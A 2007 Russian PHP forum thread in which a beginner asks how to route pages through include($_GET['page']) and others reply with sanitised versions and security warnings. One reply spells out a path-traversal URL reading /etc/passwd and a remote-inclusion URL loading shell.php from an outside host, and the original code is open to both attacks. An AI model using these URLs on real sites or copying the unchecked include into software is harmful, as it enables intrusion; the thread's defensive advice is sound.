![]() |
#1 |
Дружище
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд
:
0 в этом сообщении 5 Всего |
![]()
Вот к примеру юзаю такую конструкцию:
<?php $page = $_GET['page']; echo " <li><a href=/files/qwerty.doc>Главная </a></li> <li><a href=\"?page=1.php\">Лабы</a></li> <li><a href=\"?page=lekcii.php\">Лекции</a></li> "; ?> Потом в нужном слое подключаю страницу вот так: <?php include("$page");?> Естественно при первом заходе на страницу возникает ошибка, т.к. в $_GET['page'] ничего еще не передано, когда начинаю по ссылкам ходить - все нормально. Как исправить? Собственно интересует, как сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" . P.S.: ссылки на учебники не давать ![]()
__________________
![]() Последний раз редактировалось Tretyak; 25.06.2007 в 11:26. |
![]() |
![]() |
![]() |
#2 |
Знакомый
Регистрация: 25.05.2007
Пол: М
Сообщений: 48
Поблагодарил: 29
Поблагодарили 37 раз в 15 сообщениях
Открыли хайд
:
0 в этом сообщении 0 Всего |
![]()
[PHP]<?php
// проверяем, есть ли вообще в массиве $_GET элемент "page" if ( isset ( $_GET [ "page" ] )) { $filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов // проверяем существование файла, который надо подключить if ( is_file ( $filename )) { // подключаем нужный файл include ( $filename ); } else { // выводим сообщение, что файла такого нет print "Страница не найдена"; } } else // если в $_GET ничего не передается { print "Неверный URL."; } [/PHP]
__________________
«мне не нужно много, достаточного самого лучшего» |
![]() |
![]() |
Этот пользователь сказал Спасибо freelsd за это полезное сообщение: |
Tretyak (25.06.2007)
|
![]() |
#3 |
Товарищ
Регистрация: 30.04.2007
Пол: M
Провайдер: ВолгаТелеком
Сообщений: 268
Поблагодарил: 110
Поблагодарили 147 раз в 62 сообщениях
Открыли хайд
:
0 в этом сообщении 2 Всего |
![]()
шобы сделать, чтобы адреса в браузере писались типа так "http://seras.awarded.in/?set=muzon" , существует 2 метода форм - это method=post, и method=get (это в хтмл), пользовался на перле...
__________________
[Для просмотра данной ссылки нужно зарегистрироваться] |
![]() |
![]() |
![]() |
#4 |
Дружище
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд
:
0 в этом сообщении 5 Всего |
![]()
2freelsd.
Спасибо, попробую. 2Crazy. Это понятно блин ![]()
__________________
![]() |
![]() |
![]() |
![]() |
#5 |
Товарищ
Регистрация: 30.04.2007
Пол: M
Провайдер: ВолгаТелеком
Сообщений: 268
Поблагодарил: 110
Поблагодарили 147 раз в 62 сообщениях
Открыли хайд
:
0 в этом сообщении 2 Всего |
![]()
Вот так было в мойом скрипте перлоффском:
<form action="/cgi-bin/index.cgi" method="post или get"> ИМЯ:<input type="text" name="name" action="http://localhost/cgi-bin/index.cgi"> </input> <br>ПАРОЛЬ: <input type="password" name="pass" action="http://localhost/cgi-bin/index.cgi"> </input> <br><input name="submit" type="submit" value="ОТПРАВИТЬ"> </input> </form>
__________________
[Для просмотра данной ссылки нужно зарегистрироваться] |
![]() |
![]() |
![]() |
#6 |
Товарищ
Регистрация: 01.03.2007
Пол: M
Провайдер: АДС ADSL
Сообщений: 315
Поблагодарил: 332
Поблагодарили 160 раз в 80 сообщениях
Открыли хайд
:
0 в этом сообщении 4 Всего |
![]()
2 ТопикСтартер
Это самописный двиг или паблик? [Для просмотра данной ссылки нужно зарегистрироваться]) SeRaS-Home / Произошла ошибка! Вам закрыт доступ на сайт. Причина: Попытка внедрить XXS Что такое XXS? Может XSS? ![]() |
![]() |
![]() |
![]() |
#7 |
Дружище
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд
:
0 в этом сообщении 5 Всего |
![]()
Самописный баг
![]() 2Крейзи. У меня-то не форма, а просто ссылки или я чего-то не догоняю.
__________________
![]() |
![]() |
![]() |
![]() |
#8 |
Заслуженные
Регистрация: 19.04.2007
Адрес: slonstudio.org
Пол: M
Провайдер: ВТ
Сообщений: 892
Поблагодарил: 271
Поблагодарили 495 раз в 221 сообщениях
Открыли хайд
:
0 в этом сообщении 19 Всего |
![]()
собственно freelsd все правильно написал, от себя лишь хочется добавить, что я бы не выводил сообщения об ошибке, а просто сделал бы редерект на нужный адрес с соответствующим параметром.
Делается это так Код:
header("Location: http://www.adress.ru/index.php?page=1.php");
__________________
P.S. ![]() |
![]() |
![]() |
![]() |
#9 |
Приятель
Регистрация: 23.03.2006
Адрес: Санкт-Петербург
Пол: М
Сообщений: 158
Поблагодарил: 1
Поблагодарили 56 раз в 8 сообщениях
Открыли хайд
:
0 в этом сообщении 1 Всего |
![]()
Аккуратнее только с такими конструкциями, ибо таким макаром человек может запросить любую страницу с сервера, например так:
[Для просмотра данной ссылки нужно зарегистрироваться] А это не есть гут...
__________________
01000100 01101111 01101110 00100111 01110100 00100000 01100110 01110101 01100011 01101011 00100000 01101101 01111001 00100000 01100010 01110010 01100001 01101001 01101110 00101100 00100000 01100110 01110101 01100011 01101011 00100000 01111001 01101111 01110101 01110010 01110011 01100101 01101100 01100110 00100001 |
![]() |
![]() |
![]() |
#10 |
Приятель
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд
:
0 в этом сообщении 13 Всего |
![]()
немного дополню код freelsd
[php] <?php // проверяем, есть ли вообще в массиве $_GET элемент "page" if ( isset ( $_GET [ "page" ] )) { $filename = escapeshellcmd ( $_GET [ "page" ] ); // получаем имя файла, попутно избавляемся от спец-символов //добавим расширение к имени файла $filename .= ".php"; // проверяем существование файла, который надо подключить if ( is_file ( $filename )) { // подключаем нужный файл include ( $filename ); } else { // выводим сообщение, что файла такого нет print "Страница не найдена"; } } else // если в $_GET ничего не передается { //то выводим html форму $string = <<<HTML; <form action="" method="get" onchange="submit()"> <select name="page"> <option value="lekcii">Лекции</option> <option value="knigi">Книги</option> </select> </form> HTML; print $string; } [/php] в итоге по запросу адреса [Для просмотра данной ссылки нужно зарегистрироваться] будет подгружаться файл knigi.php |
![]() |
![]() |
Этот пользователь сказал Спасибо dimazzz за это полезное сообщение: |
Tretyak (27.06.2007)
|
![]() |
#11 | |
Товарищ
Регистрация: 01.03.2007
Пол: M
Провайдер: АДС ADSL
Сообщений: 315
Поблагодарил: 332
Поблагодарили 160 раз в 80 сообщениях
Открыли хайд
:
0 в этом сообщении 4 Всего |
![]() Цитата:
Код:
http://www.adress.ru/index.php?page=../../../../../etc/passwd Код:
http://www.adress.ru/index.php?page=http://megaxeksite.narod.ru/shell.php ![]() Ну в данном случае не катит, я проверял ![]() |
|
![]() |
![]() |
![]() |
#12 |
Знакомый
Регистрация: 25.05.2007
Пол: М
Сообщений: 48
Поблагодарил: 29
Поблагодарили 37 раз в 15 сообщениях
Открыли хайд
:
0 в этом сообщении 0 Всего |
![]()
ну, если мы тут вообще разводим "в гостях у сказки", тогда и проверять лучше не $filename . ".php", а dirname( __FILE__ ) . "/" . $filename, и выводить файлы стал бы не через include, а через strip_tags ( file_get_contents ( $filename ) , "<p><b><i><u><a><img><h1>..." );
__________________
«мне не нужно много, достаточного самого лучшего» |
![]() |
![]() |
![]() |
#14 | |
Дружище
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд
:
0 в этом сообщении 5 Всего |
![]() Цитата:
Конструкция dimazzz`a выдает ошибку: "Parse error: parse error, unexpected T_SL in z:\home\[Для просмотра данной ссылки нужно зарегистрироваться] on line 100". Строчка 100 - вот эта $string = <<<HTML;
__________________
![]() Последний раз редактировалось Tretyak; 27.06.2007 в 14:25. |
|
![]() |
![]() |
![]() |
#15 | |
Товарищ
Регистрация: 01.03.2007
Пол: M
Провайдер: АДС ADSL
Сообщений: 315
Поблагодарил: 332
Поблагодарили 160 раз в 80 сообщениях
Открыли хайд
:
0 в этом сообщении 4 Всего |
![]() Цитата:
Можно сделать так, создай на серве папку, например /includes/ и заливаешь туда свои файлы, которые нужно инклудить через $_GET Естественно изменяешь скрипт с include ( $filename ); на include ( "/includes/"$filename ); Ещё можно добавить фильтрацию некоторых символов, например: "\" "/" "." ":" Их часто используют при проведении PHP-Injection |
|
![]() |
![]() |
![]() |
#16 | |
Приятель
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд
:
0 в этом сообщении 13 Всего |
![]() Цитата:
![]() прошу прощенья - на автомате поставил ![]() |
|
![]() |
![]() |
![]() |
#18 |
Приятель
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд
:
0 в этом сообщении 13 Всего |
![]()
все, начиная со строки
$string = <<<HTML и заканчивая строкой HTML; будет восприниматься php как html код и будет помещено в переменную $string; а потом мы просто выводим переменную $string |
![]() |
![]() |
![]() |
#19 |
Дружище
Регистрация: 25.09.2006
Адрес: Мещера Сити.
Пол: М
Провайдер: АДС FTTB
Сообщений: 767
Поблагодарил: 189
Поблагодарили 245 раз в 117 сообщениях
Открыли хайд
:
0 в этом сообщении 5 Всего |
![]()
Все равно ругается на $string = <<<HTML, "Parse error: parse error, unexpected T_SL.
__________________
![]() |
![]() |
![]() |
![]() |
#20 |
Приятель
Регистрация: 31.10.2006
Адрес: Нижний Новгород
Пол: М
Провайдер: ВТ
Сообщений: 186
Поблагодарил: 202
Поблагодарили 117 раз в 49 сообщениях
Открыли хайд
:
0 в этом сообщении 13 Всего |
![]() |
![]() |
![]() |